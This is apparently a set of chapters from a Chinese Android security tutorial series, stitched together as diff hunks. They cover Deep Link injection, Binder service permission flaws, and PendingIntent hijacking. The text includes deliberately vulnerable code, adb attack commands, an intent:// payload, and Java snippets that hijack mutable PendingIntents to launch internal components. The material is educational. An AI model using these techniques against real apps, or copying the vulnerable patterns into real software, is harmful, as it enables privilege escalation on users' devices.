Cursor cursor = db.rawQuery("SELECT * FROM users WHERE id = " + id, null);
```
和第四章讲的 ContentProvider SQL 注入类似,只是注入点从 ContentResolver 参数变成了 URL 参数。
### 4.2 演示
演示 Appcom.demo.deeplinksecurity)的 VulnDeepLinkActivity 注册了 `demoapp://` scheme,从 URL 参数中读取 `action``url`,根据 action 执行不同操作:
- `action=webview`:把 url 参数加载到 WebView
- `action=navigate`:把 target 参数作为组件名跳转
```bash
adb shell am start -a android.intent.action.VIEW \
-d "demoapp://open?action=webview\&url=https://example.com"
```
App 的 WebView 加载了攻击者指定的 URL:
![demo7_deeplink_webview.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-903b4e474aec425539fa958d725360a0598eca6d.png)
```bash
adb shell am start -a android.intent.action.VIEW \
-d "demoapp://open?action=navigate\&target=com.demo.deeplinksecurity.InternalSecretActivity"
```
绕过 exported=false 限制,启动了内部页面:
## ![demo7_deeplink_navigate.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/04/attach-478f000250c116de370b5da2e80692499dfba7df.png)
## 5\. Deep Link 与 Intent 的交互
### 5.1 getIntent().getData() 的来源
Activity 通过 `getIntent().getData()` 获取 Deep Link URL。但这个 Intent 不一定来自浏览器——任何 App 都可以构造一个带 data 的 Intent 发送给导出的 Activity
```java
Intent intent = new Intent(Intent.ACTION_VIEW);
intent.setData(Uri.parse("myapp://open?token=stolen"));
intent.setPackage("com.target.app");
startActivity(intent);
```
这意味着即使 Deep Link 没有从浏览器触发,攻击者仍然可以通过 Intent 直接传入恶意 URL。所以 Deep Link 的参数校验不能依赖"URL 来自可信的浏览器"这个假设。
### 5.2 intent:// URL 与 Deep Link 的结合
第二章讲过 intent:// URL 可以编码一个完整的 Intent。如果目标 App 的 WebView 支持 intent:// URL 处理,攻击者可以通过 Deep Link 先让 WebView 加载一个页面,页面中再通过 intent:// URL 触发更深层的攻击:
```php
demoapp:
```
exploit.html 中:
```html
<a href="intent://dummy#Intent;component=com.target.app/.InternalActivity;end">click</a>
```
这是一个两步攻击链:Deep Link → WebView → intent:// → 内部组件。
* * *
## 6\. 版本演进
### 6.1 Android 6.0API 23):App Links
引入 App Links,通过 assetlinks.json 验证域名归属。验证通过后直接跳转,不弹选择器。
### 6.2 Android 12API 31):App Links 行为变化
Android 12 对 App Links 做了调整:
- 未通过验证的 App Links 不再在选择器中显示,而是直接在浏览器中打开
- 用户可以在设置中手动管理每个 App 的链接处理行为
- 系统对 assetlinks.json 的验证更严格
这个改动提高了 App Links 的安全性,但也意味着如果 App 的 assetlinks.json 配置有问题,Deep Link 会完全失效(直接在浏览器打开而不是跳转到 App)。
### 6.3 Android 12intent-filter 必须声明 exported
第一章提到过,Android 12 要求所有带 intent-filter 的组件必须显式声明 `android:exported`。Deep Link 的 Activity 必须设置 `exported="true"`,否则无法安装。这不是安全改进(Deep Link Activity 本来就需要导出),但让开发者更明确地意识到这些组件是对外暴露的。
* * *
## 7\. 总结
Deep Link 把 URL 变成了 App 的入口。
回顾一下:
- 自定义 Scheme 没有归属验证,任何 App 都可以注册相同的 scheme 进行劫持,OAuth 回调是常见的攻击目标
- App Links 通过域名验证解决了劫持问题,但验证失败时会退化为普通 Deep Link
- URL 参数直接传给 WebView、组件跳转、SQL 查询都是常见的注入点
- Deep Link 的参数不能假设来自可信来源,因为任何 App 都可以通过 Intent 直接传入
下一章讲 Android 广播安全。广播是 Android 的事件通知机制,第一章简单提过广播注入和劫持,下一章会深入展开——有序广播的优先级劫持、Sticky 广播的数据残留、以及 LocalBroadcastManager 的使用场景。
通过网盘分享的文件:deeplink安全演示.apk
链接: [https://pan.baidu.com/s/1OhxiQyFIazUmphxxBB3svA?pwd=95yg](https://pan.baidu.com/s/1OhxiQyFIazUmphxxBB3svA?pwd=95yg) 提取码: 95yg
@@ -0,0 +1,477 @@
# Android移动安全第三章_Binder服务安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4831
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全(本章)
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
Android 是一个多进程系统。每个 App 运行在自己的进程中,系统服务运行在 system\_server 进程中。system\_server 是 Android 中权限最高的用户态进程(UID 1000),ActivityManagerService、PackageManagerService 等系统服务都在这个进程里。进程之间的内存是隔离的,不能直接访问彼此的数据。
那 App 怎么调用系统功能?比如安装应用、获取位置、读取通知?答案是 Binder。
Binder 是 Android 的跨进程通信(IPC)机制。它不是 Linux 原生的,而是 Android 在内核中加入的一个驱动(/dev/binder),专门为 Android 的安全模型设计。App 想调用系统服务,就通过 Binder 发起一次跨进程调用,内核负责把请求从调用方进程传递到服务方进程,同时携带调用者的 UID(User IDAndroid 为每个 App 分配的唯一用户标识)和 PID(Process ID,进程标识)信息。
从安全角度看,Binder 有两个特性:
- 调用者身份不可伪造。UID 和 PID 由内核填入,应用层无法篡改
- 权限检查是服务端的责任。内核只负责传递身份信息,检不检查、怎么检查,完全由服务端代码决定
第一个特性是安全的基础,第二个特性是漏洞的来源。如果服务端忘了检查调用者身份,任何 App 都能调用它的方法。
* * *
## 2\. Binder 通信机制
### 2.1 整体架构
Binder 通信涉及四个角色:
| 角色 | 说明 | 典型实例 |
| --- | --- | --- |
| Client | 发起调用的一方 | 普通 App |
| Server | 提供服务的一方 | system_server 中的系统服务 |
| ServiceManager | 服务注册表,负责服务的注册和查找 | servicemanager 进程 |
| Binder 驱动 | 内核模块,负责跨进程数据传输 | /dev/binder |
一次典型的调用流程如下图所示:
![binder_arch.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/03/attach-bf26e1787d8410e78b1fcd8475fd778ab7fd189d.png)
1. Server 启动时,通过 `ServiceManager.addService()` 注册服务
2. Client 通过 `ServiceManager.getService()` 获取服务的 Binder 代理对象
3. Client 调用代理对象的方法,Binder 驱动将请求(包括方法编号、参数、调用者 UID/PID)传递给 Server
4. Server 处理请求并返回结果,Binder 驱动将结果传回 Client
ServiceManager 本身也是一个 Binder 服务,但它的 handle 固定为 0,所有进程都能直接访问。它相当于一个电话簿——不需要知道系统服务的进程地址,只需要知道服务名,就能通过 ServiceManager 查到对应的 Binder 引用。
### 2.2 AIDL 与 transaction code
开发者通常不直接操作 Binder 驱动,而是通过 AIDLAndroid Interface Definition LanguageAndroid 接口定义语言)定义跨进程调用的接口。AIDL 类似于定义一个远程可调用的 Java 接口,编译器会自动生成两部分代码:Stub(服务端骨架,负责接收和分发请求)和 Proxy(客户端代理,负责封装和发送请求)。
一个简单的 AIDL 接口:
```aidl
// IDeviceManager.aidl
interface IDeviceManager {
String getDeviceId(); // transaction code = 1
void setDeviceName(String n); // transaction code = 2
boolean resetDevice(); // transaction code = 3
}
```
每个方法会被分配一个 transaction code(事务码),从 `FIRST_CALL_TRANSACTION`(值为 1)开始递增。Client 调用方法时,实际上是向 Binder 驱动发送一个包含 transaction code 和序列化参数的数据包。
这意味着即使没有 AIDL 文件,只要知道 transaction code 和参数格式,就可以通过 `service call` 命令直接调用服务方法:
```bash
adb shell service call clipboard 1
```
### 2.3 Parcel:数据序列化
Binder 传输的数据通过 Parcel(包裹)对象序列化。Parcel 是一个二进制缓冲区,数据按顺序写入和读取:
```java
Parcel data = Parcel.obtain();
data.writeInterfaceToken("com.example.IDeviceManager");
data.writeString("new_device_name");
mRemote.transact(2, data, reply, 0);
@Override
public boolean onTransact(int code, Parcel data, Parcel reply, int flags) {
switch (code) {
case 2: {
data.enforceInterface("com.example.IDeviceManager");
String name = data.readString();
this.setDeviceName(name);
reply.writeNoException();
return true;
}
}
return super.onTransact(code, data, reply, flags);
}
```
`enforceInterface()` 会校验接口描述符是否匹配,防止把发给 A 服务的请求误发给 B 服务。但它不是安全检查——不会验证调用者身份。
* * *
## 3\. 系统服务的注册与发现
### 3.1 AOSP 原生服务
Android 系统自带大量 Binder 服务,运行在 system\_server 进程中。通过 `service list` 可以查看当前设备上所有注册的服务:
```bash
adb shell service list
```
输出(节选):
```php
Found 287 services:
0 sip: [android.net.sip.ISipService]
1 phone: [com.android.internal.telephony.ITelephony]
2 isms: [com.android.internal.telephony.ISms]
...
50 activity: [android.app.IActivityManager]
51 package: [android.content.pm.IPackageManager]
52 clipboard: [android.content.IClipboard]
...
```
方括号中的是 AIDL 接口名,前面的字符串是服务名,也就是 `getService()` 的参数。
### 3.2 厂商自定义服务
厂商定制 ROM 会在 AOSPAndroid Open Source ProjectAndroid 开源项目)基础上添加自己的系统服务。这些服务通常以厂商前缀命名:
```bash
adb shell service list | grep -i "miui\|xiaomi"
```
可能看到类似:
```php
miui.mqsas.IMQSNative
miui.security.ISecurityManager
xiaomi.IGameBoosterService
```
这些服务和 AOSP 原生服务一样运行在 system\_server 中,拥有系统级权限。但它们不在 AOSP 的代码审查范围内,安全质量参差不齐。
### 3.3 服务注册方式
系统服务的注册通常在 system\_server 启动过程中完成:
```java
ServiceManager.addService("device_manager", new DeviceManagerService(context));
```
注册后,任何进程都可以通过 ServiceManager 获取该服务的 Binder 代理:
```java
IBinder binder = ServiceManager.getService("device_manager");
IDeviceManager manager = IDeviceManager.Stub.asInterface(binder);
manager.getDeviceId();
```
这里没有任何权限检查。`ServiceManager.getService()` 对所有进程开放,获取 Binder 代理不需要任何权限。安全检查只能发生在服务端的方法实现中。
* * *
## 4\. 权限检查机制
### 4.1 调用者身份获取
Binder 驱动在传递调用请求时,会在内核层面记录调用者的 UID 和 PID。服务端通过以下 API 获取:
```java
int callingUid = Binder.getCallingUid();
int callingPid = Binder.getCallingPid();
```
这两个值由内核填入,应用层无法伪造。
但有一个容易踩坑的地方:`Binder.getCallingUid()` 返回的是最近一次 Binder 调用的调用者 UID。如果服务端在处理请求的过程中又发起了另一个 Binder 调用(比如调用另一个系统服务),那么 `getCallingUid()` 的返回值会被覆盖为当前进程自己的 UID。
为了解决这个问题,Android 提供了 `clearCallingIdentity()``restoreCallingIdentity()`
```java
@Override
public void sensitiveMethod() {
int callingUid = Binder.getCallingUid();
if (checkPermission(callingUid) != GRANTED) {
throw new SecurityException("Permission denied");
}
long token = Binder.clearCallingIdentity();
try {
doInternalWork();
} finally {
Binder.restoreCallingIdentity(token);
}
}
```
如果开发者在检查权限之前就调用了 `clearCallingIdentity()`,那 `getCallingUid()` 返回的就是 system\_server 自己的 UID1000),权限检查就形同虚设了。
### 4.2 常见的权限检查方式
```java
context.enforceCallingPermission(
"android.permission.MANAGE_USERS",
"Caller must hold MANAGE_USERS permission"
);
int uid = Binder.getCallingUid();
if (uid >= Process.FIRST_APPLICATION_UID) {
throw new SecurityException("System only");
}
int uid = Binder.getCallingUid();
String[] packages = context.getPackageManager().getPackagesForUid(uid);
if (!Arrays.asList(packages).contains("com.android.settings")) {
throw new SecurityException("Only Settings app allowed");
}
PackageInfo info = pm.getPackageInfo(callingPackage, PackageManager.GET_SIGNATURES);
```
### 4.3 缺失权限检查的后果
如果一个系统服务的方法没有做任何权限检查:
```java
public class VulnSystemService extends IVulnService.Stub {
@Override
public String readSystemConfig(String path) {
return FileUtils.readFileToString(new File(path));
}
}
```
任何第三方 App 都可以调用这个方法,以 system\_server 的权限读取系统文件。这就是一个权限提升漏洞——普通 App 通过未授权的 Binder 调用获得了系统级文件读取能力。
* * *
## 5\. 攻击面分析
### 5.1 未授权方法调用
这是 Binder 服务最常见的漏洞类型。服务注册到 ServiceManager 后,所有 App 都能获取其代理对象。如果某个方法内部没有权限检查,就是一个可利用的攻击点。
通过 `service call` 可以直接测试:
```bash
adb shell service call clipboard 1
adb shell service call miui.security 1
```
如果返回了正常数据而不是 SecurityException,说明该方法可能缺少权限检查。
`service call` 直接操作 Parcel 层,需要知道参数的精确格式。对于复杂参数(嵌套对象、数组等),手动构造 Parcel 数据比较困难。另一种方式是通过 Java 反射调用:
```java
IBinder binder = (IBinder) Class.forName("android.os.ServiceManager")
.getMethod("getService", String.class)
.invoke(null, "target_service");
Class<?> stubClass = Class.forName("com.vendor.ITargetService$Stub");
Object service = stubClass.getMethod("asInterface", IBinder.class)
.invoke(null, binder);
Method method = service.getClass().getMethod("sensitiveMethod", String.class);
Object result = method.invoke(service, "parameter");
```
也可以不依赖 AIDL 接口,直接构造 Parcel 数据发送:
```java
Parcel data = Parcel.obtain();
Parcel reply = Parcel.obtain();
try {
data.writeInterfaceToken("android.content.IClipboard");
data.writeString("com.test.app");
binder.transact(2, data, reply, 0);
reply.readException();
} finally {
data.recycle();
reply.recycle();
}
```
### 5.2 transaction code 枚举
如果没有 AIDL 文件,可以通过枚举 transaction code 来探测服务暴露了哪些方法:
```bash
for i in $(seq 1 20); do
echo "--- code $i ---"
adb shell service call target_service $i
done
```
返回值的含义:
| 返回 | 含义 |
| --- | --- |
| Result: Parcel(...) 有数据 | 方法存在且执行成功 |
| Result: Parcel(00000000 ...) 全零 | 方法存在,返回空或 void |
| 异常信息 | 方法存在但权限不足或参数错误 |
| Failed transaction | 该 transaction code 不存在 |
配合反编译服务端代码(从 framework JAR 或 system APK 中提取),可以还原出每个 transaction code 对应的方法名和参数类型。
### 5.3 Binder 代理泄露
有些场景下,系统服务会通过回调把内部 Binder 对象传递出来。如果这个 Binder 对象本不应该暴露给第三方 App,就构成了代理泄露。
```java
public void registerCallback(ICallback callback) {
callback.onReady(mInternalManager.asBinder());
}
```
攻击者注册回调后,就获得了 `mInternalManager` 的 Binder 代理,可以直接调用它的方法,绕过了正常的访问路径。
### 5.4 Parcel 反序列化漏洞
Binder 传输的数据通过 Parcel 序列化。如果服务端在反序列化时处理不当,可能导致安全问题。
Android 中的 Bundle(一种键值对容器,常用于 Intent extras 和 Binder 调用参数)有一个特性叫延迟反序列化(lazy unmarshalling)——Bundle 收到 Parcel 数据后不会立即解析所有内容,而是在第一次 get 操作时才真正反序列化:
```java
@Override
public boolean onTransact(int code, Parcel data, Parcel reply, int flags) {
Bundle bundle = data.readBundle();
String value = bundle.getString("key");
}
```
这个特性曾经是多个 Android 提权漏洞的根源。攻击者在 Bundle 中放入精心构造的 Parcelable 对象,当系统服务反序列化时触发类型混淆(写入时是 A 类型,读取时被解释为 B 类型),最终实现权限提升。CVE-2017-13288 等 "Bundle 风水" 系列漏洞就属于这一类。
### 5.5 dumpsys 信息泄露
`dumpsys` 命令可以获取系统服务的内部状态信息:
```bash
adb shell dumpsys <服务名>
adb shell dumpsys activity activities
adb shell dumpsys package com.target.app
```
不是所有服务都支持 dump,dump 输出的内容由服务端的 `dump()` 方法决定。有些服务的 dump 会输出 token、session 信息、内部状态等敏感数据,这本身也可能是一个信息泄露点。
* * *
## 6\. 版本演进
### 6.1 SELinux 对 Binder 的限制
从 Android 5.0 开始,SELinuxSecurity-Enhanced Linux,一种内核级的强制访问控制机制,在标准的 Linux 权限模型之上增加了一层策略控制)被设为强制模式。SELinux 策略可以限制哪些进程能与哪些 Binder 服务通信:
```php
allow platform_app clipboard_service:service_manager find;
neverallow untrusted_app vendor_custom_service:service_manager find;
```
即使服务端代码没有权限检查,SELinux 也可能在更底层阻止调用。但 SELinux 策略的覆盖范围取决于厂商的配置——有些厂商自定义服务可能没有被 SELinux 策略覆盖到。
### 6.2 Treble 架构与 Binder 域分离
Android 8.0 引入了 Treble 架构,将 Binder 分成了三个独立的域:
- `/dev/binder`framework 进程之间的通信(App ↔ system\_server
- `/dev/hwbinder`framework 与 HALHardware Abstraction Layer,硬件抽象层,负责连接 Android 框架和底层硬件驱动)之间的通信
- `/dev/vndbinder`vendor(厂商)进程之间的通信
Android 10 进一步引入了 `/dev/vndbinder`,隔离 vendor 和 framework 的 Binder 通信。这种分离减少了跨域攻击的可能性——第三方 App 只能访问 `/dev/binder` 上的服务,无法直接与 HAL 服务通信。
### 6.3 隐藏 API 限制
从 Android 9 开始,Google 限制了对隐藏 API(标记为 `@hide` 的系统 API,不在公开 SDK 中)的反射调用。ServiceManager 本身就是隐藏 API,直接反射调用会收到警告或被阻止:
```php
Accessing hidden method Landroid/os/ServiceManager;->getService(Ljava/lang/String;)Landroid/os/IBinder; (greylist, reflection, allowed)
```
Android 对隐藏 API 按限制力度分了几个级别:
| 列表 | 限制 |
| --- | --- |
| whitelist | 无限制 |
| greylist | 允许但会打印警告 |
| greylist-max-o | targetSdk > 26 时阻止 |
| greylist-max-p | targetSdk > 28 时阻止 |
| blacklist | 完全阻止 |
但这个限制可以被绕过(双重反射、JNI 调用等),所以它增加了攻击成本,但不构成安全边界。
### 6.4 版本变化汇总
| 版本 | 变化 |
| --- | --- |
| Android 5.0 | SELinux 强制模式,Binder 调用受策略约束 |
| Android 8.0 | Treble 架构,HAL 服务使用独立的 /dev/hwbinder |
| Android 9 | 隐藏 API 限制,反射调用 ServiceManager 受到约束 |
| Android 10 | /dev/vndbinder 隔离 vendor 和 framework 通信 |
| Android 11+ | Stable AIDL 用于跨分区接口,增强接口稳定性 |
* * *
## 7\. 总结
Binder 是 Android IPC 的底层实现,所有系统服务都建立在它之上。
回顾一下:
- Binder 驱动在内核层记录调用者 UID/PID,身份不可伪造,但权限检查是服务端的责任
- ServiceManager 是公开的服务注册表,任何 App 都能查询和获取服务代理
- 厂商自定义系统服务运行在 system\_server 中拥有系统权限,但不在 AOSP 的审查范围内
- `service call` 和反射调用是与 Binder 服务交互的两种方式
- SELinux、Treble 架构、隐藏 API 限制是系统层面的缓解措施,但都有各自的局限
下一章讲 Android ContentProvider 安全。ContentProvider 是四大组件中专门负责数据共享的,它的 query、openFile、call 方法各有不同的攻击面,SQL 注入和路径遍历是其中比较经典的漏洞模式。
@@ -0,0 +1,449 @@
# Android移动安全第九章_PendingIntent安全
> QIANXIN Team
> 来源:https://forum.butian.net/share/4876
> 系列目录:
>
> 1. Android 组件导出安全
> 2. Android Intent 安全
> 3. Android Binder 服务安全
> 4. Android ContentProvider 安全
> 5. Android WebView 安全
> 6. Android UI 欺骗与钓鱼
> 7. Android Deep Link 安全
> 8. Android 广播安全
> 9. Android PendingIntent 安全(本章)
> 10. Android 系统设置安全
> 11. Android SSRF 与网络安全
> 12. Android 加密与数据存储安全
> 13. Android 认证与证书校验
> 14. Android Zip Slip 路径遍历
> 15. Android Fragment Injection
> 16. Android SELinux 与沙箱机制
* * *
## 1\. 前言
前面几章讲的 Intent、广播、组件导出,都是"直接调用"——调用方自己发出 Intent,系统根据调用方的身份和权限决定是否放行。PendingIntent 不一样,它是"间接调用"。
PendingIntent 的工作方式是:App A 创建一个 PendingIntent,把它交给 App B(或系统)。当 B 在未来某个时刻触发这个 PendingIntent 时,系统以 A 的身份和权限来执行其中的 Intent,而不是以 B 的身份。
这个机制在 Android 中使用非常广泛:
- 通知(Notification):App 创建通知时,把点击后要执行的操作包装成 PendingIntent 交给系统通知服务。用户点击通知时,系统代替 App 执行这个操作
- 闹钟(AlarmManager):App 设置定时任务时,把到时间后要执行的操作包装成 PendingIntent 交给 AlarmManager
- 桌面小部件(AppWidget):小部件的点击事件通过 PendingIntent 传递给 App 处理
问题在于:如果 App A 创建的 PendingIntent 中的 Intent 是"空的"或"不完整的",拿到这个 PendingIntent 的 App B 可以往里面填充内容,然后触发执行——执行时用的是 A 的身份和权限。这就是 PendingIntent 劫持的基本原理。
* * *
## 2\. PendingIntent 基础
### 2.1 创建方式
PendingIntent 有三种创建方式,分别对应三种组件操作:
```java
PendingIntent pi = PendingIntent.getActivity(context, requestCode, intent, flags);
PendingIntent pi = PendingIntent.getService(context, requestCode, intent, flags);
PendingIntent pi = PendingIntent.getBroadcast(context, requestCode, intent, flags);
```
参数说明:
- context:创建者的上下文,决定了 PendingIntent 执行时使用谁的身份
- requestCode:请求码,用于区分同一个 App 创建的不同 PendingIntent
- intent:要执行的 Intent
- flags:控制 PendingIntent 行为的标志位
### 2.2 Flags
flags 参数对安全性影响很大:
| Flag | 含义 |
| --- | --- |
| FLAG_IMMUTABLE | PendingIntent 创建后不可修改(Android 12+ 默认要求) |
| FLAG_MUTABLE | PendingIntent 创建后可以被修改 |
| FLAG_UPDATE_CURRENT | 如果已存在相同的 PendingIntent,更新其中的 Intent extras |
| FLAG_CANCEL_CURRENT | 如果已存在相同的 PendingIntent,取消旧的,创建新的 |
| FLAG_ONE_SHOT | PendingIntent 只能被使用一次 |
FLAG\_MUTABLE 和 FLAG\_IMMUTABLE 是安全方面最需要关注的。FLAG\_MUTABLE 意味着拿到 PendingIntent 的一方可以修改其中 Intent 的内容(通过 `send(Context, int, Intent)` 方法传入额外的 Intent 来填充)。
### 2.3 身份委托机制
PendingIntent 的核心特性是身份委托。用一个例子说明:
```java
Intent intent = new Intent(this, InternalActivity.class);
PendingIntent pi = PendingIntent.getActivity(this, 0, intent, PendingIntent.FLAG_MUTABLE);
```
当 App B 调用 `pi.send()` 时,系统以 App A 的身份(UID 1000)执行 Intent。即使 InternalActivity 是 App A 的未导出组件,也能被成功启动——因为执行者的身份是 A 自己。
这就是为什么 PendingIntent 是权限提升的入口:普通 App 拿到系统 App 创建的 PendingIntent 后,可以借用系统 App 的身份执行操作。
* * *
## 3\. PendingIntent 劫持
### 3.1 隐式 Intent 的 PendingIntent
最经典的 PendingIntent 劫持场景是:创建者使用隐式 Intent(不指定目标组件)来构造 PendingIntent。
```java
Intent intent = new Intent("com.example.ACTION_PROCESS");
intent.putExtra("token", "secret_token_123");
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
```
这个 PendingIntent 被触发时,系统会把广播发给所有注册了 `com.example.ACTION_PROCESS` 的 Receiver。攻击者注册一个匹配的 Receiver 就能收到广播,获取其中的 token。
更严重的是,如果 PendingIntent 是 FLAG\_MUTABLE 的,攻击者拿到它之后可以修改 Intent 的目标:
```java
Intent fillIntent = new Intent();
fillIntent.setClassName("com.victim.app", "com.victim.app.InternalActivity");
pendingIntent.send(context, 0, fillIntent);
```
### 3.2 空 Intent 的 PendingIntent
比隐式 Intent 更危险的是空 Intent。有些开发者创建 PendingIntent 时传入一个空的 Intent,打算后续再填充:
```java
PendingIntent pi = PendingIntent.getActivity(context, 0,
new Intent(), PendingIntent.FLAG_MUTABLE);
```
拿到这个 PendingIntent 的任何一方都可以完全控制 Intent 的内容——action、component、data、extras 全部可以填充。执行时使用的是创建者的身份和权限。
### 3.3 通知中的 PendingIntent 泄露
通知是 PendingIntent 最常见的使用场景,也是泄露的高发区。App 创建通知时,把 PendingIntent 交给系统的 NotificationManager。如果通知可以被其他 App 读取(通过 NotificationListenerService),其中的 PendingIntent 就可能被提取出来。
NotificationListenerService 是 Android 提供的一个系统服务,允许 App 在用户授权后监听所有通知。用户在"设置 → 通知访问权限"中授权后,App 就能读取所有通知的内容,包括其中的 PendingIntent。
```java
public class NotifListener extends NotificationListenerService {
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
Notification notification = sbn.getNotification();
PendingIntent contentIntent = notification.contentIntent;
if (contentIntent != null) {
try {
Intent fillIntent = new Intent();
fillIntent.setClassName("com.victim.app",
"com.victim.app.InternalSettingsActivity");
contentIntent.send(context, 0, fillIntent);
} catch (PendingIntent.CanceledException e) {
}
}
}
}
```
### 3.4 BroadcastReceiver 中的 PendingIntent
有些 App 通过广播传递 PendingIntent,让接收方在处理完某些逻辑后回调。如果广播是隐式的,攻击者可以注册 Receiver 截获广播,拿到其中的 PendingIntent
```java
Intent callbackIntent = new Intent(this, CallbackReceiver.class);
PendingIntent callback = PendingIntent.getBroadcast(this, 0,
callbackIntent, PendingIntent.FLAG_MUTABLE);
Intent broadcastIntent = new Intent("com.example.ACTION_REQUEST");
broadcastIntent.putExtra("callback", callback);
sendBroadcast(broadcastIntent);
```
攻击者收到广播后,提取 PendingIntent 并修改后执行:
```java
public class AttackReceiver extends BroadcastReceiver {
@Override
public void onReceive(Context context, Intent intent) {
PendingIntent callback = intent.getParcelableExtra("callback");
if (callback != null) {
Intent fill = new Intent();
fill.setClassName("com.victim.app",
"com.victim.app.AdminActivity");
try {
callback.send(context, 0, fill);
} catch (PendingIntent.CanceledException e) {}
}
}
}
```
* * *
## 4\. FLAG\_MUTABLE 与 FLAG\_IMMUTABLE
### 4.1 可变性的影响
PendingIntent 的可变性(mutability)决定了它被传递给其他方后是否可以被修改。
FLAG\_MUTABLE 的 PendingIntent,接收方可以通过 `send(Context, int, Intent)` 传入一个 fillIntent 来修改原始 Intent 的内容。fillIntent 中设置的字段会覆盖或补充原始 Intent:
```java
Intent intent = new Intent("com.example.ACTION_VIEW");
PendingIntent pi = PendingIntent.getActivity(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
Intent fillIntent = new Intent();
fillIntent.setComponent(new ComponentName("com.victim.app",
"com.victim.app.SecretActivity"));
pi.send(context, 0, fillIntent);
```
FLAG\_IMMUTABLE 的 PendingIntent 则不允许修改。接收方调用 `send()` 时传入的 fillIntent 会被忽略(extras 除外——如果原始 Intent 中没有设置某个 extra keyfillIntent 中的对应 key 仍然会被合并进去)。
### 4.2 什么时候需要 FLAG\_MUTABLE
有些场景确实需要 FLAG\_MUTABLE
- 内联回复通知(Direct Reply):系统需要把用户输入的文本填充到 PendingIntent 的 extras 中
-`AlarmManager.setExact()` 配合使用时,某些系统版本要求 PendingIntent 可变
- 需要和 `PendingIntent.FLAG_UPDATE_CURRENT` 配合更新 extras
但大多数场景下,FLAG\_IMMUTABLE 就够了。如果不确定,优先使用 FLAG\_IMMUTABLE。
### 4.3 Android 12 的强制要求
Android 12API 31)开始,创建 PendingIntent 时必须显式指定 FLAG\_MUTABLE 或 FLAG\_IMMUTABLE,否则会抛出异常:
```php
java.lang.IllegalArgumentException: Targeting S+ (version 31 and above)
requires that one of FLAG_IMMUTABLE or FLAG_MUTABLE be specified when
creating a PendingIntent.
```
这个改动强制开发者思考 PendingIntent 是否需要可变。但它不能阻止开发者为了省事直接加 FLAG\_MUTABLE。
* * *
## 5\. 实际攻击场景
### 5.1 LaunchAnywhere
LaunchAnywhere 是 PendingIntent 劫持的一个经典利用模式,最早在 Android 系统的 AccountManagerService 中被发现。
AccountManagerService 在处理添加账户的流程中,会向第三方 Authenticator App 发送一个 PendingIntent(通过 AccountAuthenticatorResponse)。如果 Authenticator 返回的结果中包含一个 KEY\_INTENTAccountManagerService 会用自己的身份(system\_serverUID 1000)启动这个 Intent。
攻击流程:
1. 恶意 App 注册一个自定义的 AccountAuthenticator
2. 调用 `AccountManager.addAccount()` 触发添加账户流程
3. 系统调用恶意 App 的 Authenticator
4. Authenticator 在返回结果中放入一个指向系统内部组件的 Intent
5. AccountManagerService 以 system 身份启动这个 Intent
这个漏洞的本质是:系统服务信任了第三方 App 提供的 Intent,并以自己的高权限身份执行。后续 Android 版本通过检查返回的 Intent 的目标组件是否属于调用者来修复了这个问题。
### 5.2 通知劫持提权
一个更常见的场景:系统 App 创建通知时使用了 FLAG\_MUTABLE 的 PendingIntent,且 Intent 不够具体(没有指定 component)。
```java
Intent intent = new Intent("com.system.ACTION_SETTINGS");
PendingIntent pi = PendingIntent.getActivity(this, 0, intent,
PendingIntent.FLAG_MUTABLE);
Notification notification = new Notification.Builder(this, channelId)
.setContentTitle("系统更新")
.setContentText("点击查看详情")
.setContentIntent(pi)
.build();
notificationManager.notify(1, notification);
```
拥有 NotificationListenerService 权限的恶意 App 可以:
1. 监听到这条通知
2. 提取其中的 PendingIntent
3. 用 fillIntent 修改目标为系统内部的敏感 Activity
4. 以系统 App 的身份启动
### 5.3 Widget 点击劫持
桌面小部件(AppWidget)的点击事件通过 PendingIntent 实现。AppWidgetProvider 在 `onUpdate()` 中为小部件的各个 View 设置 PendingIntent
```java
RemoteViews views = new RemoteViews(context.getPackageName(),
R.layout.widget_layout);
Intent intent = new Intent(context, WidgetClickHandler.class);
PendingIntent pi = PendingIntent.getBroadcast(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
views.setOnClickPendingIntent(R.id.widget_button, pi);
```
如果 PendingIntent 是 FLAG\_MUTABLE 的,且 Intent 不够具体,Launcher App(桌面启动器)理论上可以修改 PendingIntent 的内容。虽然主流 Launcher 不会这么做,但自定义 Launcher 或恶意 Launcher 可能利用这一点。
* * *
## 6\. 版本演进
### 6.1 Android 6.0API 23
引入了 `PendingIntent.getCreatorPackage()``PendingIntent.getCreatorUid()` 方法,允许接收方查询 PendingIntent 的创建者信息。但这些信息仅供参考,不能作为安全校验的依据——恶意 App 可以创建 PendingIntent 后传递给其他 App,接收方看到的创建者是恶意 App,但执行时用的身份也是恶意 App 的,所以这个信息本身不构成安全问题。
### 6.2 Android 12API 31
强制要求指定 FLAG\_MUTABLE 或 FLAG\_IMMUTABLE。这是 PendingIntent 安全方面最重要的一次改动。
同时,Android 12 还限制了 FLAG\_MUTABLE 的 PendingIntent:即使是 mutable 的,fillIntent 也不能覆盖原始 Intent 中已经设置的 component 和 action。只有原始 Intent 中未设置的字段才能被填充。
```java
Intent intent = new Intent();
intent.setComponent(new ComponentName("com.example", "com.example.MyActivity"));
PendingIntent pi = PendingIntent.getActivity(context, 0, intent,
PendingIntent.FLAG_MUTABLE);
Intent fill = new Intent();
fill.setComponent(new ComponentName("com.victim", "com.victim.Secret"));
pi.send(context, 0, fill);
```
这个限制大幅降低了 FLAG\_MUTABLE PendingIntent 的攻击面,但没有完全消除——extras 仍然可以被填充。
### 6.3 Android 14API 34
进一步收紧了 PendingIntent 的安全限制:
